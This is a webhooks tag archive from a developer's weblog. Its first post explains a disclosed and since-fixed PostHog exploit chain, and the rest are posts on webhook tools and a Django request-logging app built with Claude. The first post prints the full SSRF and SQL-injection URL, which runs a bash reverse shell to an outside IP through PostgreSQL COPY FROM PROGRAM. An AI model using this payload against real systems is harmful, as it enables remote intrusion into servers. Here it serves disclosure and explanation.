Simon Willison's Weblog: webhooks

Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain

2025-12-18T01:42:22+00:00

Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain

Mehmet Ince describes a very elegant chain of attacks against the PostHog analytics platform, combining several different vulnerabilities (now all reported and fixed) to achieve RCE - Remote Code Execution - against an internal PostgreSQL server.

The way in abuses a webhooks system with non-robust URL validation, setting up a SSRF (Server-Side Request Forgery) attack where the server makes a request against an internal network resource.

Here's the URL that gets injected:

http://clickhouse:8123/?query=SELECT++FROM+postgresql('db:5432','posthog',\"posthog_use'))+TO+STDOUT;END;DROP+TABLE+IF+EXISTS+cmd_exec;CREATE+TABLE+cmd_exec(cmd_output+text);COPY+cmd_exec+FROM+PROGRAM+$$bash+-c+\\"bash+-i+>%26+/dev/tcp/172.31.221.180/4444+0>%261\\"$$;SELECT++FROM+cmd_exec;+--\",'posthog','posthog')#

Reformatted a little for readability:

http://clickhouse:8123/?query=
SELECT *
FROM postgresql(
    'db:5432',
    'posthog',
    "posthog_use')) TO STDOUT;
    END;
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec (
        cmd_output text
    );
    COPY cmd_exec
    FROM PROGRAM $$
        bash -c \"bash -i >& /dev/tcp/172.31.221.180/4444 0>&1\"
    $$;
    SELECT * FROM cmd_exec;
    --",
    'posthog',
    'posthog'
)
#

This abuses ClickHouse's ability to run its own queries against PostgreSQL using the postgresql() table function, combined with an escaping bug in ClickHouse PostgreSQL function (since fixed). Then that query abuses PostgreSQL's ability to run shell commands via COPY ... FROM PROGRAM.

The bash -c bit is particularly nasty - it opens a reverse shell such that an attacker with a machine at that IP address listening on port 4444 will receive a connection from the PostgreSQL server that can then be used to execute arbitrary commands.

Via Hacker News

Tags: postgresql, security, sql, sql-injection, webhooks, clickhouse

django-http-debug, a new Django app mostly written by Claude

2024-08-08T15:26:27+00:00

Yesterday I finally developed something I’ve been casually thinking about building for a long time: django-http-debug. It’s a reusable Django app - something you can pip install into any Django project - which provides tools for quickly setting up a URL that returns a canned HTTP response and logs the full details of any incoming request to a database table.

This is ideal for any time you want to start developing against some external API that sends traffic to your own site - a webhooks provider like Stripe, or an OAuth or OpenID connect integration (my task yesterday morning).

You can install it right now in your own Django app: add django-http-debug to your requirements (or just pip install django-http-debug), then add the following to your settings.py:

INSTALLED_APPS = [
    # ...
    'django_http_debug',
    # ...
]

MIDDLEWARE = [
    # ...
    "django_http_debug.middleware.DebugMiddleware",
    # ...
]

You'll need to have the Django Admin app configured as well. The result will be two new models managed by the admin - one for endpoints:

And a read-only model for viewing logged requests:

It’s possible to disable logging for an endpoint, which means django-http-debug doubles as a tool for adding things like a robots.txt to your site without needing to deploy any additional code.

How it works

The key to how this works is this piece of middleware:

class DebugMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        if response.status_code == 404:
            path = request.path.lstrip("/")
            debug_response = debug_view(request, path)
            if debug_response:
                return debug_response
        return response

This dispatches to the default get_response() function, then intercepts the result and checks if it's a 404. If so, it gives the debug_view() function an opportunity to respond instead - which might return None, in which case that original 404 is returned to the client.

That debug_view() function looks like this:

@csrf_exempt
def debug_view(request, path):
    try:
        endpoint = DebugEndpoint.objects.get(path=path)
    except DebugEndpoint.DoesNotExist:
        return None  # Allow normal 404 handling to continue

    if endpoint.logging_enabled:
        log_entry = RequestLog(
            endpoint=endpoint,
            method=request.method,
            query_string=request.META.get("QUERY_STRING", ""),
            headers=dict(request.headers),
        )
        log_entry.set_body(request.body)
        log_entry.save()

    content = endpoint.content
    if endpoint.is_base64:
        content = base64.b64decode(content)

    response = HttpResponse(
        content=content,
        status=endpoint.status_code,
        content_type=endpoint.content_type,
    )
    for key, value in endpoint.headers.items():
        response[key] = value

    return response

It checks the database for an endpoint matching the incoming path, then logs the response (if the endpoint has logging_enabled set) and returns a canned response based on the endpoint configuration.

Here are the models:

from django.db import models
import base64


class DebugEndpoint(models.Model):
    path = models.CharField(max_length=255, unique=True)
    status_code = models.IntegerField(default=200)
    content_type = models.CharField(max_length=64, default="text/plain; charset=utf-8")
    headers = models.JSONField(default=dict, blank=True)
    content = models.TextField(blank=True)
    is_base64 = models.BooleanField(default=False)
    logging_enabled = models.BooleanField(default=True)

    def __str__(self):
        return self.path

    def get_absolute_url(self):
        return f"/{self.path}"


class RequestLog(models.Model):
    endpoint = models.ForeignKey(DebugEndpoint, on_delete=models.CASCADE)
    method = models.CharField(max_length=10)
    query_string = models.CharField(max_length=255, blank=True)
    headers = models.JSONField()
    body = models.TextField(blank=True)
    is_base64 = models.BooleanField(default=False)
    timestamp = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        return f"{self.method} {self.endpoint.path} at {self.timestamp}"

    def set_body(self, body):
        try:
            # Try to decode as UTF-8
            self.body = body.decode("utf-8")
            self.is_base64 = False
        except UnicodeDecodeError:
            # If that fails, store as base64
            self.body = base64.b64encode(body).decode("ascii")
            self.is_base64 = True

    def get_body(self):
        if self.is_base64:
            return base64.b64decode(self.body.encode("ascii"))
        return self.body

The admin screens are defined in admin.py.

Claude built the first version of this for me

This is a classic example of a project that I couldn’t quite justify building without assistance from an LLM. I wanted it to exist, but I didn't want to spend a whole day building it.

Claude 3.5 Sonnet got me 90% of the way to a working first version. I had to make a few tweaks to how the middleware worked, but having done that I had a working initial prototype within a few minutes of starting the project.

Here’s the full sequence of prompts I used, each linking to the code that was produced for me (as a Claude artifact):

I want a Django app I can use to help create HTTP debugging endpoints. It should let me configure a new path e.g. /webhooks/receive/ that the Django 404 handler then hooks into - if one is configured it can be told which HTTP status code, headers and content to return.

ALL traffic to those endpoints is logged to a Django table - full details of incoming request headers, method and body. Those can be browsed read-only in the Django admin (and deleted)

Produced Claude v1

make it so I don't have to put it in the urlpatterns because it hooks ito Django's 404 handling mechanism instead

Produced Claude v2

Suggestions for how this could handle request bodies that don't cleanly decode to utf-8

Produced Claude v3

don't use a binary field, use a text field but still store base64 data in it if necessary and have a is_base64 boolean column that gets set to true if that happens

Produced Claude v4

I took that code and ran with it - I fired up a new skeleton library using my python-lib cookiecutter template, copied the code into it, made some tiny changes to get it to work and shipped it as an initial alpha release - mainly so I could start exercising it on a couple of sites I manage.

Using it in the wild for a few minutes quickly identified changes I needed to make. I filed those as issues:

Then I worked though fixing each of those one at a time. I did most of this work myself, though GitHub Copilot helped me out be typing some of the code for me.

Adding the base64 preview

There was one slightly tricky feature I wanted to add that didn’t justify spending much time on but was absolutely a nice-to-have.

The logging mechanism supports binary data: if incoming request data doesn’t cleanly encode as UTF-8 it gets stored as Base 64 text instead, with the is_base64 flag set to True (see the set_body() method in the RequestLog model above).

I asked Claude for a curl one-liner to test this and it suggested:

curl -X POST http://localhost:8000/foo/ \
  -H "Content-Type: multipart/form-data" \
  -F "image=@pixel.gif"

I do this a lot - knocking out quick curl commands is an easy prompt, and you can tell it the URL and headers you want to use, saving you from having to edit the command yourself later on.

I decided to have the Django Admin view display a decoded version of that Base 64 data. But how to render that, when things like binary file uploads may not be cleanly renderable as text?

This is what I came up with:

The trick here I'm using here is to display the decoded data as a mix between renderable characters and hex byte pairs, with those pairs rendered using a different font to make it clear that they are part of the binary data.

This is achieved using a body_display() method on the RequestLogAdmin admin class, which is then listed in readonly_fields. The full code is here, this is that method:

    def body_display(self, obj):
        body = obj.get_body()
        if not isinstance(body, bytes):
            return format_html("<pre>{}</pre>", body)

        # Attempt to guess filetype
        suggestion = None
        match = filetype.guess(body[:1000])
        if match:
            suggestion = "{} ({})".format(match.extension, match.mime)

        encoded = repr(body)
        # Ditch the b' and trailing '
        if encoded.startswith("b'") and encoded.endswith("'"):
            encoded = encoded[2:-1]

        # Split it into sequences of octets and characters
        chunks = sequence_re.split(encoded)
        html = []
        if suggestion:
            html.append(
                '<p style="margin-top: 0; font-family: monospace; font-size: 0.8em;">Suggestion: {}</p>'.format(
                    suggestion
                )
            )
        for chunk in chunks:
            if sequence_re.match(chunk):
                octets = octet_re.findall(chunk)
                octets = [o[2:] for o in octets]
                html.append(
                    '<code style="color: #999; font-family: monospace">{}</code>'.format(
                        " ".join(octets).upper()
                    )
                )
            else:
                html.append(chunk.replace("\\\\", "\\"))

        return mark_safe(" ".join(html).strip().replace("\\r\\n", "<br>"))

I got Claude to write that using one of my favourite prompting tricks. I'd solved this problem once before in the past, in my datasette-render-binary project. So I pasted that code into Claude, told it:

With that code as inspiration, modify the following Django Admin code to use that to display decoded base64 data:

And then pasted in my existing Django admin class. You can see my full prompt here.

Claude replied with this code, which almost worked exactly as intended - I had to make one change, swapping out the last line for this:

        return mark_safe(" ".join(html).strip().replace("\\r\\n", "<br>"))

I love this pattern: "here's my existing code, here's some other code I wrote, combine them together to solve this problem". I wrote about this previously when I described how I built my PDF OCR JavaScript tool a few months ago.

Adding automated tests

The final challenge was the hardest: writing automated tests. This was difficult because Django tests need a full Django project configured for them, and I wasn’t confident about the best pattern for doing that in my standalone django-http-debug repository since it wasn’t already part of an existing Django project.

I decided to see if Claude could help me with that too, this time using my files-to-prompt and LLM command-line tools:

files-to-prompt . --ignore LICENSE | \
  llm -m claude-3.5-sonnet -s \
  'step by step advice on how to implement automated tests for this, which is hard because the tests need to work within a temporary Django project that lives in the tests/ directory somehow. Provide all code at the end.'

Here's Claude's full response. It almost worked! It gave me a minimal test project in tests/test_project and an initial set of quite sensible tests.

Sadly it didn’t quite solve the most fiddly problem for me: configuring it so running pytest would correctly set the Python path and DJANGO_SETTINGS_MODULE in order run the tests. I saw this error instead:

django.core.exceptions.ImproperlyConfigured: Requested setting INSTALLED_APPS, but settings are not configured. You must either define the environment variable DJANGO_SETTINGS_MODULE or call settings.configure() before accessing settings.

I spent some time with the relevant pytest-django documentation and figure out a pattern that worked. Short version: I added this to my pyproject.toml file:

[tool.pytest.ini_options]
DJANGO_SETTINGS_MODULE = "tests.test_project.settings"
pythonpath = ["."]

For the longer version, take a look at my full TIL: Using pytest-django with a reusable Django application.

Test-supported cleanup

The great thing about having comprehensive tests in place is it makes iterating on the project much faster. Claude had used some patterns that weren’t necessary. I spent a few minutes seeing if the tests still passed if I deleted various pieces of code, and cleaned things up quite a bit.

Was Claude worth it?

This entire project took about two hours - just within a tolerable amount of time for what was effectively a useful sidequest from my intended activity for the day.

Claude didn't implement the whole project for me. The code it produced didn't quite work - I had to tweak just a few lines of code, but knowing which code to tweak took a development environment and manual testing and benefited greatly from my 20+ years of Django experience!

This is yet another example of how LLMs don't replace human developers: they augment us.

The end result is a tool that I'm already using to solve real-world problems, and a code repository that I'm proud to put my name to. Without LLM assistance this project would have stayed on my ever-growing list of "things I'd love to build one day".

I'm also really happy to have my own documented solution to the challenge of adding automated tests to a standalone reusable Django application. I was tempted to skip this step entirely, but thanks to Claude's assistance I was able to break that problem open and come up with a solution that I'm really happy with.

Last year I wrote about how AI-enhanced development makes me more ambitious with my projects. It's also helping me be more diligent in not taking shortcuts like skipping setting up automated tests.

Tags: django, django-admin, projects, python, webhooks, ai, generative-ai, llms, ai-assisted-programming, anthropic, claude, claude-3-5-sonnet

Making a Discord bot with PHP

2024-01-14T22:56:08+00:00

Making a Discord bot with PHP

Building bots for Discord used to require a long-running process that stayed connected, but a more recent change introduced slash commands via webhooks, making it much easier to write a bot that is backed by a simple request/response HTTP endpoint. Stuart Langridge explores how to build these in PHP here, but the same pattern in Python should be quite straight-forward.

Via @sil

Tags: php, stuart-langridge, webhooks, discord

Standard Webhooks 1.0.0

2023-12-08T04:16:37+00:00

Standard Webhooks 1.0.0

A loose specification for implementing webhooks, put together by a technical steering committee that includes representatives from Zapier, Twilio and more.

These recommendations look great to me. Even if you don’t follow them precisely, this document is still worth reviewing any time you consider implementing webhooks—it covers a bunch of non-obvious challenges, such as responsible retry scheduling, thin-vs-thick hook payloads, authentication, custom HTTP headers and protecting against Server side request forgery attacks.

Via Hacker News

Tags: security, webhooks

Centrifuge: a reliable system for delivering billions of events per day

2021-12-06T01:41:54+00:00

Centrifuge: a reliable system for delivering billions of events per day

From 2018, a write-up from Segment explaining how they solved the problem of delivering webhooks from thousands of different producers to hundreds of potentially unreliable endpoints. They started with Kafka and ended up on a custom system written in Go against RDS MySQL that was specifically tuned to their write-heavy requirements.

Via @jkakar

Tags: scaling, webhooks, segment

NGINX: Authentication Based on Subrequest Result

2019-10-04T15:36:33+00:00

NGINX: Authentication Based on Subrequest Result

TIL about this neat feature of NGINX: you can use the auth_request directive to cause NGINX to make an HTTP subrequest to a separate authentication server for each incoming HTTP request. The authentication server can see the cookies on the incoming request and tell NGINX if it should fulfill the parent request (via a 2xx status code) or if it should be denied (by returning a 401 or 403). This means you can run NGINX as an authenticating proxy in front of any HTTP application and roll your own custom authentication code as a simple webhook-recieving endpoint.

Via Ishan Anand

Tags: authentication, nginx, webhooks

Should You Build a Webhooks API?

2017-10-02T05:01:23+00:00

Should You Build a Webhooks API?

We had to solve for pretty much all of these issues when we built Eventbrite’s webhooks—this article would have saved us a lot of time!

Via @brandur

Tags: webhooks

Hookbox

2010-07-29T09:48:00+00:00

Hookbox

For most web projects, I believe implementing any real-time comet features on a separate stack from the rest of the application makes sense—keep using Rails, Django or PHP for the bulk of the application logic, and offload any WebSocket or Comet requests to a separate stack built on top of something like Node.js, Twisted, EventMachine or Jetty. Hookbox is the best example of that philosophy I’ve yet seen—it’s a Comet server that makes WebHook requests back to your regular application stack to check if a user has permission to publish or subscribe to a given channel. “The key insight is that all application development with hookbox happens either in JavaScript or in the native language of the web application itself”.

Via Comet Daily

Tags: comet, django, javascript, michael-carter, php, rails, webhooks, recovered, hookbox

webhook-relay

2010-03-19T10:17:44+00:00

webhook-relay

Another of my experiments with Node.js: webhook-relay is a self-contained queue and webhook request sending agent. Your application can POST to it specifying a webhook alert to be sent off, and webhook-relay will place that request in an in-memory queue and send it on its own time, avoiding the need for your main application server to block until the outgoing request has been processed.

Tags: experiments, javascript, nodejs, projects, webhookrelay, webhooks

nginx_http_push_module

2009-10-17T16:48:31+00:00

nginx_http_push_module

More clever design with webhooks—here’s an nginx module that provides a comet endpoint URL which will hang until a back end process POSTs to another URL on the same server. This makes it much easier to build asynchronous comet apps using regular synchronous web frameworks such as Django, PHP and Rails.

Tags: comet, django, nginx, php, rails, webhooks

Cloudvox

2009-10-08T23:31:05+00:00

Cloudvox

A brand new startup offering “API-driven phone calls” with a beautifully simple webhooks based API.

Tags: apis, cloudvox, telephony, webhooks

PubSubHubbub for Google Alerts

2009-09-23T21:30:35+00:00

PubSubHubbub for Google Alerts

“Think of it as a search API that tells *you* when it finds new results.”

Tags: google, google-alerts, pubsubhubbub, search-engines, webhooks

cloud-crowd

2009-09-21T23:09:04+00:00

cloud-crowd

New parallel processing worker/job queue system with a strikingly elegant architecture. The central server is an HTTP server that manages job requests, which are farmed out to a number of node HTTP servers which fork off worker processes to do the work. All communication is webhook-style JSON, and the servers are implemented in Sinatra and Thin using a tiny amount of code. The web-based monitoring interface is simply beautiful, using canvas to display graphs showing the system’s overall activity.

Tags: canvas, cloudcrowd, http, json, message-queues, ruby, sinatra, thin, webhooks, workers

PostBin

2009-09-21T23:03:34+00:00

PostBin

Handy debugging tool for webhooks—create a TinyURL-style URL, then see a log of any POST requests made to that address.

Tags: http, post, postbin, webhooks

RSSCloud Vs. PubSubHubbub: Why The Fat Pings Win

2009-09-10T15:49:15+00:00

RSSCloud Vs. PubSubHubbub: Why The Fat Pings Win

A PubSubHubbub advocate explains the differences between the two proposals: most importantly, PubSubHubbub includes the actual new content with the “fat ping” whereas RSSCloud just notifies you that you should poll the RSS feed, leading to a potential thundering herd. I’m still hoping one of those specs will detail a way in which they can be used for scalable regular WebHook-style notifications without any feed infrastructure at all.

Tags: dogpile, pubsubhubbub, rsscloud, webhooks

Scriptlets - Quick web scripts

2009-08-13T13:51:10+00:00

Scriptlets - Quick web scripts

From the prolific Jeff Lindsay, a pastebin-style tool for short server-side scripts written in Python, JavaScript or PHP that executes them within a Google App Engine powered sandbox. The Java code that implements the service is available on GitHub.

Via Easy hook scripts with Scriptlets

Tags: github, google-app-engine, java, javascript, jeff-lindsay, open-source, php, python, scriptlets, webhooks

The Pushbutton Web: Realtime Becomes Real

2009-07-24T18:30:01+00:00

The Pushbutton Web: Realtime Becomes Real

Anil Dash is excited by the potential for PubSubHubBub and Webhooks to make near-real-time scalable event publishing accessible to regular web developers. So am I.

Tags: anil-dash, pubsubhubbub, pushbutton, realtime, realtimeweb, webhooks

Webhooks behind the firewall with Reverse HTTP

2009-07-22T13:46:20+00:00

Webhooks behind the firewall with Reverse HTTP

Hookout is a Ruby / rack adapter that lets you serve a web application from behind a firewall, by binding to a Reverse HTTP proxy running on the internet (such as the free one provided by reversehttp.net). Useful for far more than just webhooks, this means you can easily expose any Ruby web service to the outside world. An implementation of this as a general purpose proxy server would make it useful for applications written in any language.

Tags: comet, hookout, reversehttp, ruby, webhooks

PubSub-over-Webhooks with RabbitHub

2009-07-01T20:22:52+00:00

PubSub-over-Webhooks with RabbitHub

RabbitMQ, the Erlang-powered AMQP message queue, is growing an HTTP interface based on webhooks and PubSubHubBub.

Tags: amqp, erlang, http, message-queues, pubsubhubbub, rabbitmq, webhooks

pubsubhubbub

2009-04-20T18:49:45+00:00

pubsubhubbub

From Brad Fitzpatrick, a simple but clever way of using web hooks (HTTP callbacks) to inform subscribers that an Atom feed has updated in almost real-time—solving the constant polling problem and making it easier for small sites to offer publish-subscribe APIs. Any Atom feed can delegate subscriber updates to a “hub” server. An example hub server implementation is provided running on App Engine.

Tags: atom, brad-fitzpatrick, google-app-engine, pubsub, pubsubhubbub, python, realtime, webhooks

Web Hooks and the Programmable World of Tomorrow

2009-02-16T21:00:23+00:00

Web Hooks and the Programmable World of Tomorrow

Tour de force presentation on Web Hooks by Jeff Lindsay. Tons of really good ideas—provided your application isn’t Flickr sized, there’s a good chance you could implement web hooks pretty cheaply and unleash a huge flurry of creativity from your users. GitHub makes a great case study here.

Tags: apis, flickr, github, jeff-lindsay, webhooks

Post-Commit Web Hooks for Google Code Project Hosting

2009-02-04T10:22:06+00:00

Post-Commit Web Hooks for Google Code Project Hosting

I really, really like web hooks (which I’ve been calling “callback APIs”, but it looks like “web hooks” is the term that’s sticking). I’m interested in their scaling challenges—I’ve heard XMPP advocates argue that a web hook style model simply won’t scale for really large sites.

Via Joe Gregorio

Tags: google, googlecodehosting, webhooks